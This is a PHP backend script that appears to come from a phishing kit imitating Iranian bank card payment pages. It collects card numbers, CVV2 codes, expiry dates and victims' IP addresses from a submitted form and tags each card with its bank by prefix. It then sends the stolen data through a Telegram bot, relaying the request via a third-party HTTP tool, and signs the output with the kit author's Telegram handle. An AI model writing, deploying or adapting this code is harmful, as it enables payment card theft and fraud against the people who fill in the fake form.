
<?php


if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
$protocol = $_SERVER['SERVER_PROTOCOL'];
if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
$protocol = 'HTTP/1.0';
}

header( 'Allow: POST' );
header( "$protocol 405 Method Not Allowed" );
header( 'Content-Type: text/plain' );
exit;
}

include "info.php";

$refid = $_POST["refid"];
$pan = $_POST["cardnumber"];
$cvv = $_POST["cvv2"];
$year = $_POST["year"];
$month = $_POST["month"];
$captcha = $_POST["captcha"];
if(isset($_POST["inputemail"])){
    $email = $_POST["inputemail"];
}else{
    $email = "None";
}

$pan1 = substr($pan,0,4);
$pan2 = substr($pan,4,-8);
$pan3 = substr($pan,8,-4);
$pan4 = substr($pan,12);
$cardn = substr($pan,0,-10);
echo ($cardn);

$trim = str_replace(" ", "", $pan);
$CartStart = substr($pan, 0, -12);

if($CartStart == "6037 99" || $CartStart == "1700 19" || $CartStart == "5899 05"){ $bankname = "ملی"; }else{
if($CartStart == "5892 10"){ $bankname = "سپه"; }else{
if($CartStart == "6276 48" || $CartStart == "2071 77"){$bankname = "توسعه_صادرات"; }else{
if($CartStart == "6279 61"){$bankname = "صنعت_معدن"; }else{
if($CartStart == "6037 70" || $CartStart == "6392 17"){$bankname = "کشاورزی"; }else{
if($CartStart == "6280 23"){$bankname = "مسکن"; }else{
if($CartStart == "6277 60"){$bankname = "پست_بانک"; }else{
if($CartStart == "5029 08"){$bankname = "تعاون"; }else{
if($CartStart == "6274 12"){$bankname = "اقتصاد_نوین"; }else{
if($CartStart == "6221 06" || $CartStart == "6399 94" || $CartStart == "6278 84"){$bankname = "پارسیان"; }else{
if($CartStart == "5022 29" || $CartStart == "6393 47"){$bankname = "پاسارگاد"; }else{
if($CartStart == "6274 88" || $CartStart == "5029 10"){$bankname = "کارآفرین"; }else{
if($CartStart == "6219 86"){$bankname = "سامان"; }else{
if($CartStart == "6393 46"){$bankname = "سینا"; }else{
if($CartStart == "6396 07"){$bankname = "سرمایه"; }else{
if($CartStart == "6362 14"){$bankname = "آینده"; }else{
if($CartStart == "5028 06" || $CartStart == "5047 06"){$bankname = "شهر"; }else{
if($CartStart == "5029 38"){$bankname = "دی"; }else{
if($CartStart == "6037 69"){$bankname = "صادرات"; }else{
if($CartStart == "6104 33" || $CartStart == "9919 75"){$bankname = "ملت"; }else{
if($CartStart == "6273 53" || $CartStart == "5859 83"){$bankname = "تجارت"; }else{
if($CartStart == "5894 63"){$bankname = "رفاه"; }else{
if($CartStart == "6273 81"){$bankname = "انصار"; }else{
if($CartStart == "5057 85"){$bankname = "ایران_زمین"; }else{
if($CartStart == "6367 95"){$bankname = "مرکزی"; }else{
if($CartStart == "6369 49"){$bankname = "حکمت"; }else{
if($CartStart == "5054 16"){$bankname = "گردشگری"; }else{
if($CartStart == "6063 73"){$bankname = "قرض_الحسنه"; }else{
if($CartStart == "6281 57"){$bankname = "موسسه_اعتباری"; }else{
if($CartStart == "5058 01"){$bankname = "کوثر"; }else{
if($CartStart == "6393 70"){$bankname = "موسسه_مهر"; }else{
if($CartStart == "6395 99"){ $bankname = "قوامین"; }else{
	$bankname = "نامعلوم";
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
$ip = $_SERVER["REMOTE_ADDR"];

$getcodech = json_decode($pay_g);
$status = $getcodech->status;
if($status == "true"){
	$Text = "
• Request OTP Card $bankname 💳
➖➖➖
• CardNumber : <code>$trim</code>
• Cvv2 : <code>$cvv</code>
• Pin : 1
• DATE :  <code>$year</code>/ <code>$month</code>
• IP : <code>$ip</code>
@phonixhouse
➖➖➖
<b>Codedby <a href='t.me/phonixhouse'>Farzin</a> </b>
";
}else{
	$Text = "
• Request OTP Card $bankname 💳
➖➖➖
• CardNumber : <code>$trim</code>
• Cvv2 : <code>$cvv</code>
• Pin : 1
• DATE :  <code>$year</code>/ <code>$month</code>
• IP : <code>$ip</code>
@phonixhouse
➖➖➖
<b>Codedby <a href='t.me/phonixhouse'>Farzin</a> </b>
";

}
$ok = 
    $encodedText = urlencode($Text);
    $telegramUrl = "https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=$ID&text=$encodedText&parse_mode=HTML";
    $httpDebuggerUrl = "https://www.httpdebugger.com/tools/viewhttpheaders.aspx";
    $payload = [
        'UrlBox' => $telegramUrl,
        'AgentList' => 'Google Chrome',
        'VersionsList' => 'HTTP/1.1',
        'MethodList' => 'POST',
    ];
    $options = [
        'http' => [
            'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($payload),
        ],
    ];
    $context  = stream_context_create($options);
    $response = file_get_contents($httpDebuggerUrl, false, $context);
?>

